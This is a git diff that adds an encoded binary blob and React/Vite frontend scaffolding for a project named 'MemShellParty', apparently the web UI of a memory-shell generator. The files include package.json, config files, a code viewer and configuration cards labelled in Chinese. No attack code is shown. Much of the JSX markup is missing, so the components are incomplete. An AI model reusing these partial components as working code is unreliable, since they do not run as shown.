z0BQgYfEGXp5CPkX0cZfU06M@000ZD60BUQ@02aU{02_cEzyaU{fLEv@xB)x>UH~6p z0t9vn0L@!92>1XP0t^E_0zLsg14aNZ0M&p@0Mv$|`4FLY3(bRf6(9(J+AP$rq4p^W zfabu0=BttcbbfExgL zfCAt)z#32vFa%r%2teyV!x&%!FazX+yaE7p%!C0L02cv_0C`}S0!Ra70Cxbk06Ty^ zzyaV0Py?s~GyyjO3IGX!0DvC=y^jkG=pg~<01Utx044wnfDOO_oCTZ%-~#Xf_y7U` zG{+zjfEYjmAO(;C$N}d86o3^F&mVv_05mt_PrwG?7hn^x1=t4s2J8TK0egUb05r$Q z0RRDXPyncaB=FfD-~fQ;=5Yc*$160q6f_SMG`A8oN6QCLYzWW_XaW=giUCGI!yKRv zPy#3eQ~>F~_6(2-PzG26B0xS9Ko+dK0o(!5o4%m_$qV2OxC;QUQ$jccbO5>lIe0ML9yEg-KNPy?t1)B)-NrGPR(Ip8^<0#FH11@)?cWfWLm2g?vZC?FW%1Mmg7 z0Kn_;5PE<>P)85|>h~JK=LSF(Kot-MfcnpefJcA`KqTM+zz^UL2mlxW(g05Z34l~U zG9VCe50D5*0+<3c06zgJpuW3+60i>S<}OTtFV+KBy-S5D$n2L;<1!F~^@z^7~AHQy|sa9xeY@eK$0p z5hnne?-tU7=F`OjKqnO(umIH}`T>1_9stxgKz#)CT|s>S^!;T3Ab%h~px8n&hGGrH z+#UdZ2X+8k03;1*-T~MEtN~O2s4jfK6#x%_8E^)`1fT<)13-N$)b~T@0O(wR2Y}8e zSO5$F8UP)D1YiQ7^2e6|2apY_0~Y{kodu8sNC8m2kc|jH2p|9u14sa50LVXT0MwsD z+tC9q02lxl0gM2404v}UfCWGYfXZ>=Xd6xdHvrOr>;eF&FM`VP0igZj1@Hr) zIv}7tbATB@0w4|$0tf=G0z?5~0AYa0@n=P_Q~@XfnTma4hCxGkmx<6R@0ek`8 z055 zQ287{HUQfGKhrrWn+NPrIj9V@{Xf{2b2T;vF;NcxPB+t4$?T;XGjN%LkHj;;4J`(Q463M0M!BQ*GX(3O{l&m zKqH_M@Q?L2fV^733qTE^3IJ^beb3bZDF5X1Kd#pUTOG^}wSyBacp1nq=rfd{{exlz z<(=#^JpU!gZwI^rK;K_00E!p1Jrql5-~Ov|Cpv9lo0EFpfc4kMKpN0CP&%>0b&o86 zZ718Ee2>t!Q2p=!6CEi3AGbgGzW%Z8|5t6`KlAUTZb%FIu6qH{cK=!1|DUuKxKAf- z=D%tqa34;}{jb{c9PkeZFaY2MoW%9Nvz$FHGXs|20Mmf4fGNNvU;;1>_yQOMi~>dg zp8=l$9|6OFA;1T~Am9M-2e1#=1MC8J0KWm-fGxl#;1^&6@Ds2OSOfe3tO8a5-vP^j zCBPzJ0Wc3hqJVQW02P1&I0y2`0Z55=2%rRz0H8AD z0LU*g04d-+04hTTfa-{Dicje5ihCZbG`_&yWq;4k`+(Z-r-H$@|r9uGc9u>M*h3;8Z0V)7!-=LU4F@^T!WZzGgw?Li&Kpz0zcR=?a zIsk2e7GT~M`~j(}@@R=IqR%UE%k?T4J`(tkF%6#o-|*4loPC*3Z1eB7F_mJX+M2jn zIJ+EOL6U(B3HcX=g0EY{mH%28fj(%<0Wn;95lk;c1^-&Of#oc)P>?VZ++$Gh`fCvZ z7JOg{ZO9!UckgHaYf%IiVqn2eyd3JoVXpMoVtlN&$x$AlGW*5-uf@^9*#*p$h%hke zdB3cPdGD{q7L}6pzWHl``X^Fg z!PAIjkt=v#GAB1D=mN}b-3~1+ zf##J(j}^3mg@==elke~RUSUs$wUJt9TMsR~Je&duYiEwb3G>|VTh4MSyIuwsexL@* z{A23{maClnocve*V}?u?o}6CFdDpEYHD1oE2xnI_ClhB2MD-g-oKz(eCt%^@5#>P%DQhV)NuXK za=1Skz=91d&(G0(3yUb=02UrjUZ_mrv1Q5bb*j#sYA3Kj`*ZbZToNkd947atD(9ll zVHpq~a20x7hO)qaqIB*BI3pgG0hV{b0v)GMA2dki@8jkI3-B4LXYkk(?qt(+OMamp zSonYi?9Vu`K;O0x#;sJ*M>+O?Ez8FiZin8K7&2cd);yQN7sQR&IkxB)F)W@7c56JW zhZj=AL_6w{sQ3u4GWK0e1D4BRPl1ITSfI9}{JZT%BhvISut0kXd}9L^s84)d>VAz7 zMcVsN4aDdFYwyd$q$rZUdk_RcVL(ts5MB@uw1>GEKm|qx6jTrpZ^54Knwf^4?y(P; zLBv^4)MZt46%`Rh)&q3C@xVpF1Myfy1s7aA@IY}{MHj?Z@%u$&R%KOn9n-Ck@BZ<@ z^GsJ|WJE?rMnp!QrM}xb;pBhpXgO=ZZGcFw=K+VfzNc*cn7bD59ta2+BOLvEt>r)N z`}|pdesmHbrA1{$BhtGqM~|I}8x=d_TP~aQExlxQODQHk3+CkE4$t zcHKVLjQ(gXQ{$Gqu#Kqc9k;FNc2V8a?HGskpgvmNNUoynl+SlQb@`F48HX6~@CP9< zM!dDX^W%+IwBAz2IBY*#kc=p)Y0S#U&se{_>JG_)Tg#Ofm6immlA*Ac!bqv}`+GmT z>WiMhAx(teiNoN?>L*_K^)El(5ZWnu1GUcpAr6Lo_rjxV3J25zG7#ni$Wd_Pq`fWA zE(~F}pME&6Gx?B#qD?Enav>nsMQ(m{`Nr2ia2YrzLAN{C@wJPV-yLt-gVASfVZ-3HIaSd%<;eD3!hl z?KAC@(eD(GnR5YCV{h3S)g-HbbKle6J@?6fAK9V+s#7!oc_#xxz1h{Rk6dutqQ~xI zoD!H^AiJh;AdK@Ba5@0z*q$d(nlX3uDYB-hM^ekANJ%;zI^v9Be?D4RNikV{cFWD8 zmIF?9eP)sUpgy5^V_hg6uKgji`-+L%=04e?05~i+^t6#kG+E!f=dB0z=sg}53<%dW zTh_CrtUm(F)Y`*4JaS)p&f05%LqdS|X8T^|4Up=THcgACQ%~P;*@0JXpS`&y;gk{A zQ=kMLK`rvfr_PLiuwXl6K;i+8qb9PaaD=dQvN@PU(gC%bPzZVDJGw0Us@s*zr=lF_ zJ8|$JAf%(~+YgR+>T=2`K&0Q%zhzr})|~C#&KWa;+J}%ziXR6KaXn*G&%!st!A62W z1{Ki68D!ZQ$BuvZ%5TrkoCrv15p*6NDVn6HIdJLrZH>o`KHx4{P6_53K&msSeKjt8 z@#)tcF$)m18|lt%JaMHC}oV04kcT2y#fAWiSS`>VZyri}6<A;OTzPxX#h2{`cjNc zz%t40g>HTKes1!G9|0n@>I4bt+2WH)+6P;rX%H6$SH|w-Rz9 zX95CMXga7NI=m~XL2lK6P^9|czU%k=a^idCjKebMir|{4ojxnJ{DVgyUkZry zE`22AZ{wq@TI_j;{DHKE>9x^tE!yXex))b)W}XNyL>qBm=$dK)-!t`B+3>Ze0)pR zH>&C!Ku8~cjukvo-+TB*;7F@~MB@DLCSlFsX!5XAMWKI9VFV%G7J6|6^+X&fNb+GF~!yyu`bt2zTm+NlHA<)Y;rc%ujsEjJI;i0g9;=5HFg z>n_q!*=M=npgxCS$VMD|9XWU6KaYE1ICIU^js%2cu{2TgL~MI_0U*-vbm}hZQ+3gy zLn_;K7zBvaw-6x2!P{p)xOUX{cYOvwN8d{^o6rgSIOUyaxzL^ukf$cD=8eNSY|E(G90O z@aX>t-VWH)d&G*rzVj#G3?z4r*=|5cug87(RJ#rBcbrV+z##$jIv`|OmrS33?H#kL z$@@$Di6y3E|4eOq;M0ANYFNB|9YabWAbk5NnySM`T^|`T_~o}|+(P3L)RZ6_L5=i! z>Bo=nxVz?B^o`(}`&0Xvwyd$@v>0@4vU$CobY^W^d_!e2AB69FOZ9dq&Qt6D8uLD8U;+i8Fh*F7?!IWH!5 zJ+B~r4;8Wwju<|u>p#wXVsh>>14WD}?y1*v4s)sU9bnzefv?w9m;0pS^QT`D&I9JSlyJPD_PBb=&ySL$`f8ew*UD zFetQlO+m+vW0!2D9vyQYH2OFM5b_~A_wD%EvTqI|ts;E`q#qz;C0Fdpdmi4b%x7ct|)2+vs9>p9$3N&KL z*0(|IeBE)L>@T!;>;2buSigR6^uddfQV8DMak9(NxwdN}^nf%GeMu!+oJMV-D^{Iy zUvlyR)IQ8~U;-f2%PeRgdwcfi=jI9s5(884hrH#CiPf!doZJy}4m!@|fRKm%@vz$e zTr^`O=Bsqbp8+AiGq>+8PrWzlc+3D2gs43vsSS9vZM(AG@d_F@vfBx~0tfFFCESl@Rl=9Tq+&b_9;twi%_)8AI(Z$#`_ z2pJq)IN^sY9$Pe9$-uqk^64?$+tj_!x*NQaHQsY?r2duX8afHyNDo#5LOs)cPlhX3 zwSVgY1=$P;uRDKU*z3=&JGM~uaqnq&1Bb?0OHX=Y_}0VQA&RD;lXRfNU;)|iK+i4D zmoGuAOd5iq!NdEz``&zdO?M4(*XzFEn$~h2IxT(8Hv?Y%r;@>NKxnM_dbe*5O?0^x zQ8eOf4&cTDLJ{PZAI-Y-!h;^gNW4_W*T0u7JOU0VQhn);;+KE8tW96=Ml~byy74LF#p{DcZ&b2$WIme0-%OSUY@KM8aT`SHbM6FTHB8J2JutS%+wdf*<}x!2UaecbKm`$|6f(zGeFX!tLy2bdyncdmciHg)ICorB+2 zZqELVVp#XM_xGA*bB`e1J*>Oje%qFF*SFt`gM6&Sy|vv(9}k`&=AM=ZzdOF-&Q%zJ z(Ncl;7{h(E`+qN;|35m!c`+C`#V)_iJb6AN%Kzq(-fwGJ`N-Pce*T+%qL!-4L}QUa zVV@xU#x@NzK}?D?TkH7&O8 z2lgG+dETGC+UswClq2ee_1bqO1A?(Gx#c#)1#d$qwOIb{zuRD6C+b4e6mAj)P8ZmsqYzH6Z%izT(k`?kEGcE67U{GU%I&$F?uL`fUZ- z0tmKLG+lT7&-0h{>G+j`v>L(Zp__h~bla@*`D=brkRt#g4n9A=Z=3&|IQ%6A841Xt zfL!p}MI(lfzGR((OaY`9AOjD7Xi(|@t{tf$*GinZf9QVBtZDx_LO~vu<(#p3#obqb z|A%f0@&+IWf!eUv!B%l?t*A5E>zmAG-Fa?mar*ryvDm1WwlGXNzHCvc zAT@w=0#5XqvTj}!F5~iR*;V+wb+IC{IdSWXRy;x zFK3s;sXE}NeLD2)yi-BijTQCz;+FJ|yNB(3PCYYtJXWl#UCIx8% zgg9u^ap+M`7u@`Yg4`sjRh;_9Q+LmOVupe&J5zYr#JsDG(89F=4oKH2aEARPd?q_n8#%Ki7E^FP>QK%S3o z-f0Vn<%A3GvvWMzz*FeZ!OLiymi1YNp#z>q0nokWA*_D*n(bEUJ~dd zb1dun@&{|z?)elD+Gc=lGR1%#0G!kRefNFmuAV9Olk?0r_Q8Z=p@{ZVY}L=Fo!2lK zIN0bx*63It=FKkA!h+jDpZ2{iJ4eXviQR{6yrF5q)1Wr6sFeDWm4MK0hSwkOIeOTX zQI`wI0BmyJ3JC2-Ijq+K1AES#i1~QJAxPo5LKCkVHT0B4-_OSW1A@@r`QCs~JN@Ox z!WSPa1t{RCfOL4V}!hP>;aN@{K9ftgC zkb-OjgygpG+!1GVyyE?n)V`;J^8{qbD{YRL(B@U_sn_Q^4+Mnlw8xF3{ z4tSn#8E~iv?ECUxCLDh7l$L@6lEFGasF(Tt^cj1dHt{x!YNT`=sX;me1C9_b$FZi| zrj9shxw1gvBq6^`mQQFp_Qk7B?PG6kXfL*16%_}IBU)9a27UgYE)SG{+-(h=&yqWG zr=$|`0e~EnteP~W>k>$Z=gG@(YlT)fjpC3lqdq%xzqyBQ0R+WUv{9qQQ;qR(;KFWW z2hKmU-J2~6s=yPqzZ=)ZE^SJhm;i2j;GXnJY(&2omx=w#tfQ9zLbiRv*ok9Ln{(6O zl&t?KA>Dqc`_}`f^rn5CvK8(Cq!2jUrd)j0KF3thu6{tMoF#yC1Z4D+zkIa${EsFo z$Z|la$Jn;@_S+})Uv(-VWT&vXw*a9&D^UHnm;QCbMISJPt#Jz=6z`lfJA{_#!Gn1$W0 zQPkXR!A%o!4#UyvNjmNvxV2nqz^%2*T=lIi;I389yphd0+K;e>SfVNvO9hJl_H@w+ zrAMrTbm;s9+NUlBv%DbJN~Z7d-&Mz%A8cu4dP%*Z;fZ(>}Gz8XpD(;%=I{ z>#6dgJ5IoEAl)ar%fQ{{+*-TXBMQjwX~6;3Ww5U|tKS9$r>AlD1^p@Y=&Ii)u4#n& zCh9|d@ZsCXcklV}oBICV3Y^<@Jw2U?*T*t7(fHH@8_(>r@{uCQ0LDnNo{@-e>@t+FwBEAXqDOrqti9xNvyChj!mk zBxV*6%V)(qoeMf4FZt=|T2*~0JT-9jDTlUg)xY6F!h!vwH?fcFQ4V@%9Pq%&1}&YA zYRL~K6_0=HsAq6O3|!MO36J`?bDcdSGYc%!?8;?0f<>`dm-eI14cBfshB+8Wha%nQ zUETr?^|XhSjSOv_@n?#>;r2i*;5ecb-V&o6l7(e##t_F*4nrKrB@A&KV=%;VM9C1x zksd=FM^g-O9OW>?afHke$8j)297nDUaU7pA#BoH)5XW&NLmWqX3~?OKF~o6<&Jf2D zKSLbH=nQcjJ2S*_9Lx~Mkt;(S$J-1Eg%im*Z2KR(u8%ys@Y8RhiI}aT80pM<5&NH8 z@Wk>_tL7dH2yMhKMO@`LGNK`+b017wdz`%`;W&Fs!pWzX$p>dbQuxu&c9%{4w9j6c zLxGk^9%`WKo&)DJidprhU7(w|rO}zNtvzGKa zs1onwJ^ygv#P+{*F5i4A-pMn*Jb3biVbhM;uv*q(az7M|f4K7!cl(sMUF{R7tcoV; zv?;0n{9Bn0(cRMFsr{3Q4C)&cU0fv{^GWrm>m%eNF9n;QgONmCB@MtqN+1O}Pbia4 zpl7L$HfTv*HaM+OnG8ju4Z%#bKj#XDYqjvyszif5J(5h+M{vnPuuh9-?7N{iVO ziEtuV1ODsnpp+KV!s)EkSRy-ZdK72o?K#t-s+37Wbm}E2gSux_yCf#fe2@;Y7STS`&#z8WWj1 zEflYdhLZ`t%b-3QPJ|P&L^37k(1KG^bY4GLA4=k;fkf35G;J!Pd{uak=R$8PIqt!&X|3#T-cxo_~%;?ZqA`}Sy#qvb)vcm^M|N7b7TT9^V7{RC-?Zi!ERdy@m#X#OBy_2WZ8 zuei`4Q=LTu8k44WyqT6XOvqw+lF(9#OcGw9E>sT%_Yj#SA1GPgp#U@$;KPMsQN)Px z0$lnJTvDERD4vK$io%|}h)kd&9?)g&c31JT&(Z@Y1i0>fsL?jc__*MumB$cTrmyrs>9#P~p zEtqPoi(%}S3RcHLI4JJwV0|#bg-;GPU|%hw`zx4JlAiIxxa_n&IJDLo_|^oN63gFP zfy7lvKo$=`l9pbbiHFnCL_CPbiFj~f$p<=?ch*Bc$D#B9=<20;^260Az@p2Uz&bfS z@9H|~A>m6!HmfI`p1&8c_EVr_O=y-IHg$U-V0vp7wyFOFw&@LC%-?Ct`-gxjpV-y2 z!$yMEkS2m2t*Shw8Lg7?3wir09Bf+`az zsFxsL^hNfNP9Pwy(HeXySu=u~H35AqEt?8=8_(3?J^&AKKs7`j&@rCD6hcrRBUPaz zP}K_@0-etAHgF>lC0Xb}DR*X!SxG}7ih8S4MHnxo&F|Agv8f*Q5!aQ0tat!7v^wU^ zjmaE=XnKPvWxVK7qMbRaQmTm9WKpnUn)6^)IF5_Knn_XS7DVL>+wB0VR5BB%ehI;~ z7Hcj+$Wv0o6Wbk=@<2D20#x%WSCKX4qKt-^fvqwfN_jPrEhi}2QkbY;ILbH4QAOxR zIbh)W7{7LwSHDpe#3gV*qpNDXwL_nx2Aci|O(nMtJeUl6-cYg;&5*A3kfA>LN*v1@ z+t}&&RnuAku&oKK3e1UQ1FjuQx`+t8Tya)j(9KF?_WYax1p;)-9SG=;N;n?k(C^Iy zp8g0tIS2tO2;2C=Rr$kLYnqbz-GjVD19hE%xUH3%ta3^+8mZByYq3~=EPqq{Uyms# z^c;0COf8AHQ=_pxjZ0&hI!xH4g3&l;YpQXvqnJtY^r%kR!H83GkQ_Dc$MjY}dAl8G z$S3abctGzVg1Q+%sGEUSBxjBiAZNtai8@@LCZiWjj^Hb1^6I)EoQMZGQ!c8ExbBW{ zU_;Uth7RdPO<3IPxL)P{luT4;5aVaNChmc0dPDjC0i~tFz_+|Zoc>`@mR5jDRvLJr zy_yhq1T#VXwNxFMRS{-`Jmf+B4Ty2K!#8KKJD!4B!c@H$no4)tiD?-cccj9ZWU>+W z8EG^HM><-Ijk&ZK6{^uNjKxTx8f_e;@;%CQMgSMi0QQr9Eo5g3)a*&z!?QACt_c%p zsrt}#II9}W`yz^sdU0&Z1;VB`ZaqIYWhxHXrZag~pBM~_m56M;LAoJ~Et^LVQ1^PQ1)!hy;N6xJ%yXlzDm*Q;B+BV+p8SYMcopI1_uKt;W%0j5Vas8C(jk_Y`29-AhC&>&h}VoFqudJ)!E zXJS~}L)*Xy!(Y`W5OsN!;DUj|Tp-X;|52@pB~UWGu^Ra)ps96qk%_iKon@55D=VmB z96K_-s%OauVwQJh_#!!uIT#O7sZ0hT!XPK>JNz+p5U9p8gyCL45hFx$QtJ%J8MSN#F_xdv^J|73}~Qqc;C zUsz_0Yf!TB+^mq-WuOE)rePE6UncrBbM};$4u+D+P@_39O*iA~!!0vFEU3^r3>m)H z`k4n7*s{@qdec;xPnTgD4O$okJ+BRENOj114-5Jq1)^(y7 zxMEhJzBYteX)PJW2^u88DPRmtPqkVDPSo(52g}xsVA-00diziNsbU4bEVa3~);b6h z)-**4MKP#KOH+ltD`w7VA}etfQ4cB}(g#HkD5(1f3<_UY1KH>n+BR68l$}W$voIbq zQ1$~F>V+d@?la`pA_8%@8BAfpnm#iT38oWMF~>@fAnyhd2BGg;!5mvXLc2yNw77Sg zCSx(Lf<_i}g{M{)o!b*##d&qjN(?N7dE)I=s?k3ElPYT{2(G4ov=K0sF112;(3WzMY)| zX}|cu;7jzuW==&4m+V(rYab6HvbV>`gpQX{O=;*6*I@40ho;8@?v~(?o2X{fKqax6 z*{|_Mn1U^dOoXBtJO@?OfGuVkZJ_a5Lp1V$hVe`?_7928yCZ>Zeg%Q@3Yt%Wh$i7M z28L5S9Y^185PKFUl@OS>FUni-gGsN5p02V-A@l>w@Slfw+tSH2oOgSIY5%oBX{v4! zBFMXeD0qY%{0zigfI*Gh)K49-t%BSQ)lfX~K*7H}j2q2+jrBdVRJe5)EsTaP_4l!G z(w$( z{iV8+&_TiU26K>OoeaWwI{iyKh8DNfhhTSa3sDr0wUr;xNyH21gDMvAR)Ab zP6423*%PR&h=}Si!kwn6B!Pgb)HD>>o{U`y*rtxy+YX3E>?yqK6hqMLbeAHNiD@*s zU7ZMLvW{AiG>Ij;|0q-ygN0$6jmAb~n2>ldj0$m`Na3%@c=wlf9-WIbr0EQ1`Le<| zlEbQg6;_lnF<YV3A(J&ch;uXhSZc??qYk{4IfUJXL>Jug~@ zksH*ElpN_9k^v>-IY%18A4MYuGtr2mU>7D?W-NrmH|d~OT@C%rK~=JFjS{mUih&&H z>kiQ%t0youzj)PNQ?CZkl~#&Rjv0K3SH+dRXc7l_pB7CxJL(k9F6AH>B1b4j`FcWL zQZ_SZp{R457gaG0WzZ9^+%I!{i=5vq~ZH}(Nv0iE~uxLv}fQ>FIbZaB_mmV zpMa±ke*)hFsPE0&##Q;S(=45vj?8T1#8ILa4^XxLpD4arBrV-hQ9bVdaGcs%#4 zIpj9vVxa-?7~_5#Zd-v>SjiG=3bgDF1&G(gv~(g)?T6`FqpuXofO+Cj(lciEP&g9_ zaB6yERp17UXlXir$6I=|6cuEI5B5R0M?riCJ&NF8RG-#!y<<;nxj?lhG)q_Q5|ec_ z3lVhu<6y_;05QjO)J`sl;q)fthCt64j(JGP$OF2@Gt=^$*fNR%rtyq=(PmF?89OL! z5ZY(dEK4uJ53LA!Q#IKSD4E{CliaT8AqTt3+KkiS&6eIQeX!G}Ltr5~WGDn7UYU~b z$jEl!S-2Y$CGtL8->k4V`^YlvJu$tq8b>QJ{I5}`s4;-Gb4(gdDMqpr(My=~0^(IYTUHPxQnZd-l1+<_|5+qU3n-qkx0yU= zMgjawLuTKzkCw8iaA5NhMB>kP3BaaQtQUsB_^o-8x6v_mlLj?Y+OMD~x@8+tk;qj2 z9FSeTu^MZQ1`N_!5Jlfkg!G&4Laf(lgDPD&;H6GBS!E*|EM$Xnl$>$!Nj&6;EuFQx z55ZuJsvz%308QEXr7H*TB<#q>yo+Z^}@-}3;5h4ekDZ5bwy(r2# zP|@$HFevE>+&1h^Xx@}A!tmbJLODQ$et1cjr(Dfz6TBwI(=J1Y;CM1-{rJuZnu*3N zJ6#YR)NphT@h8r=U@t!vE3UNmsE)`$%=6{fm=2`7mZ^J|v;VjYA*mrYX0VZuyH1pmoEKq}gcMm*VqQe8ZKCK})AJ&&^gxkSX?c+p&0{E@qH6>E z3gR}+w-;dp|B8Z4CTK6j1o{;P*!+OK5F0qJf^6K2=eUyWn)b1-?}hB2BtWnr95#u>88m#;V6%o|s zRwIjP8I<(sDIZ#Fx&|eF%d2j>XD~?V33*YI-p3#&-}9m+txSk64=WRhx;~oT^5O<` zj9TG2M;aza4=Sd&Jn87Q(kbzKjWDe3WuuvpVuo^*7UbV~Wi z$b<_anci~cNe?@SivDb(K@pDmB3O@J#GH+&nXZo&hvG3WMlll>KyVQsZXQjg`6}?T z;^N|xit-BFT@zX8A%*l1BZx`J;bbk!3gB^N9;oNKksU( z5|AzLm>5PA`>nk=Ns8E@om@5nqD}*f2Kp{-INY8Lg67MVS$TMMSDp~y)hclyQ0Bvt z(0GatETF|`r@$0!TgMiQYKh>Li*Fm1^T14V@?@f~uld3mr)tF|1iTrL_UVglfwVQj ztCcJiP$kPdnUmB+kA}`>3v^6O(#Z&UeTA$k54!YP^F^Un8fmSrJ_c2`r6xl-_MWn( zHg97$-}EebGB6aIMiO{!#?qc>RWWqLHV7gvj(_kK zO%A@jWMQQy^~FR@rhpngFG5uom)CId@^V`5MIeiMg0N^n;*P$4b`0(9!JK zpoy$s9+PyfO(QXV*T99=n3u1)4%}6XFLeZQ{xeimY9XJJZ-yxfGI}dXs9`tqo$ua2 zk6Nc;-yYpj5mfgbSBC29aa@q@|Av>57pGaulvn#If$2<0rKVl7QTPRf4Z$={g==Zg z#ec!EJ1(T}4$Kxim5w_P(ZzbDX($S z5s-~%oayvGUM0UO20Z!1XN|aTr6^N=tikgF8<7VT!~>RJ{f}u_TSHtAZPFnSlg*q3 z5&~gMa3mt`xNg3Z$pR!=R>3kor^eI`4#f0F!L{#3GTaP@50U|oE{DTYknY6t55M>m zXTaj$W<|txR7hQl*X*0=8FjBhwNjqC`Ms0!GoYYegk(5!_BRv5cY%cQEGYQa!pW6^ zjN#TG3wdLY2Orrkk}G5Pn;i1`?%psv7CwZ_(T5C6{IF4dI?5#k!H2qN0=!uE3qGA4 ze>oDU{0nB~^-LZWx7wPy9|IX_tLD_4492TNMXZeyd~!6iG!cM^a2b2nK-YK{r)_=5 z6oLW`Z-C6B9PA~*d1*$(^^DPQG{|{8L}|_jD&|-CPTr^D6RJ3WRfeh~&Us2{;ryfA znn z7Z2{u*+9em3Sx2>lYUtd?)0O3oVN1bgglm+s}a?oet`Pb~nA{$dAw%$93EsxKT@!U`D;<$ctzl$JMSJ zcu@;D%CaEs9C;CP5v^oA=Sag?i3TIabB;8GOavdsb6zxrrWh8GBMoD%hP2JRZsXrF z`qyuPsXwB-q|e_{e<{B|8`Q%eF=+Mbj$JT7-UWiH((RHcj8~U1_vAGx!k_J=T2el` z98~U{@d!9Pf=LkafO6R2cjn0_l0^yD;8z8?%^W+3!J3r_BIqo_v_POHZAq5=B}fm! zSU(v_vY<~$qSp8ZD7A+HM?8piINHe#Rkx%X#%D=YMs7(qwA+yg`+ZA(bH{4|7`*V_ zJO_~ILulh(bE>bZr|=*Rr(`9Z+z6A4llur2Sv@g#qGriRPR&WV6BO;p)tB^4DY=s~ qwX}mE4Fzki43$1vD@y{*nV6xnmWt*@%FshgB`u`*+pYhFfBqlMJO!Qr literal 0 HcmV?d00001 diff --git a/web/components.json b/web/components.json new file mode 100644 index 00000000..275d4164 --- /dev/null +++ b/web/components.json @@ -0,0 +1,21 @@ +{ + "$schema": "https://ui.shadcn.com/schema.json", + "style": "new-york", + "rsc": false, + "tsx": true, + "tailwind": { + "config": "tailwind.config.js", + "css": "src/index.css", + "baseColor": "zinc", + "cssVariables": true, + "prefix": "" + }, + "aliases": { + "components": "@/components", + "utils": "@/lib/utils", + "ui": "@/components/ui", + "lib": "@/lib", + "hooks": "@/hooks" + }, + "iconLibrary": "lucide" +} diff --git a/web/index.html b/web/index.html new file mode 100644 index 00000000..40fecd5c --- /dev/null +++ b/web/index.html @@ -0,0 +1,14 @@ + + + + + + + MemShellParty + + + +
+ + + diff --git a/web/package.json b/web/package.json new file mode 100644 index 00000000..29416339 --- /dev/null +++ b/web/package.json @@ -0,0 +1,47 @@ +{ + "name": "web", + "version": "0.0.0", + "private": true, + "type": "module", + "scripts": { + "typecheck": "tsc --noEmit", + "dev": "vite --port=3001", + "build": "vite build", + "serve": "vite preview", + "check": "bunx @biomejs/biome check ./ --write", + "start": "vite" + }, + "devDependencies": { + "@biomejs/biome": "1.9.4", + "@tanstack/router-plugin": "^1.86.0", + "@types/node": "^22.10.1", + "@types/react": "^19.0.1", + "@types/react-dom": "^19.0.1", + "@vitejs/plugin-react": "^4.3.4", + "autoprefixer": "^10.4.20", + "postcss": "^8.4.49", + "tailwindcss": "^3.4.16", + "vite": "^6.0.3" + }, + "dependencies": { + "@radix-ui/react-checkbox": "^1.1.2", + "@radix-ui/react-dropdown-menu": "^2.1.2", + "@radix-ui/react-label": "^2.1.0", + "@radix-ui/react-radio-group": "^1.2.1", + "@radix-ui/react-select": "^2.1.2", + "@radix-ui/react-slot": "^1.1.0", + "@radix-ui/react-switch": "^1.1.1", + "@radix-ui/react-tabs": "^1.1.1", + "@tanstack/react-router": "^1.87.0", + "@tanstack/router-devtools": "^1.87.0", + "@types/react-syntax-highlighter": "^15.5.13", + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "lucide-react": "^0.468.0", + "react": "^19.0.0", + "react-dom": "^19.0.0", + "react-syntax-highlighter": "^15.6.1", + "tailwind-merge": "^2.5.5", + "tailwindcss-animate": "^1.0.7" + } +} diff --git a/web/postcss.config.js b/web/postcss.config.js new file mode 100644 index 00000000..2aa7205d --- /dev/null +++ b/web/postcss.config.js @@ -0,0 +1,6 @@ +export default { + plugins: { + tailwindcss: {}, + autoprefixer: {}, + }, +}; diff --git a/web/public/vite.svg b/web/public/vite.svg new file mode 100644 index 00000000..56433b59 --- /dev/null +++ b/web/public/vite.svg @@ -0,0 +1,18 @@ + \ No newline at end of file diff --git a/web/src/components/code-viewer.tsx b/web/src/components/code-viewer.tsx new file mode 100644 index 00000000..eba32351 --- /dev/null +++ b/web/src/components/code-viewer.tsx @@ -0,0 +1,78 @@ +import { Button, ButtonProps } from "@/components/ui/button.tsx"; +import { cn } from "@/lib/utils.ts"; +import { CheckIcon, ClipboardIcon } from "lucide-react"; +import { useEffect, useState } from "react"; +import { Prism as SyntaxHighlighter } from "react-syntax-highlighter"; +import { materialDark } from "react-syntax-highlighter/dist/esm/styles/prism"; + +interface CopyButtonProps extends ButtonProps { + value: string; + src?: string; +} + +export function copyToClipboardWithMeta(value: string) { + navigator.clipboard.writeText(value); +} + +export function CopyButton({ + value, + className, + src, + variant = "ghost", + ...props +}: CopyButtonProps) { + const [hasCopied, setHasCopied] = useState(false); + + useEffect(() => { + setTimeout(() => { + setHasCopied(false); + }, 2000); + }, []); + + return ( + + ); +} + +export function CodeViewer({ + code, + language, + showLineNumbers = true, +}: { + code: string; + language: string; + showLineNumbers?: boolean; +}) { + return ( +
+ + + {code} + +
+ ); +} diff --git a/web/src/components/main-config-card.tsx b/web/src/components/main-config-card.tsx new file mode 100644 index 00000000..cb25dcfc --- /dev/null +++ b/web/src/components/main-config-card.tsx @@ -0,0 +1,106 @@ +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; +import { Input } from "@/components/ui/input.tsx"; +import { Label } from "@/components/ui/label.tsx"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select.tsx"; +import { Switch } from "@/components/ui/switch.tsx"; +import { ServerIcon } from "lucide-react"; + +export function MainConfigCard() { + return ( + + + + + 核心配置 + + + +
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+ + +
+
+
+
+ ); +} diff --git a/web/src/components/mode-toggle.tsx b/web/src/components/mode-toggle.tsx new file mode 100644 index 00000000..0945ccd0 --- /dev/null +++ b/web/src/components/mode-toggle.tsx @@ -0,0 +1,31 @@ +import { Moon, Sun } from "lucide-react"; + +import { useTheme } from "@/components/theme-provider"; +import { Button } from "@/components/ui/button"; +import { + DropdownMenu, + DropdownMenuContent, + DropdownMenuItem, + DropdownMenuTrigger, +} from "@/components/ui/dropdown-menu"; + +export function ModeToggle() { + const { setTheme } = useTheme(); + + return ( + + + + + + setTheme("light")}>Light + setTheme("dark")}>Dark + setTheme("system")}>System + + + ); +} diff --git a/web/src/components/package-config-card.tsx b/web/src/components/package-config-card.tsx new file mode 100644 index 00000000..523a0c6a --- /dev/null +++ b/web/src/components/package-config-card.tsx @@ -0,0 +1,86 @@ +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; +import { Label } from "@/components/ui/label.tsx"; +import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group.tsx"; +import { PackageIcon } from "lucide-react"; + +export function PackageConfigCard() { + return ( + + + + + 打包配置 + + + +
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+
+
+
+
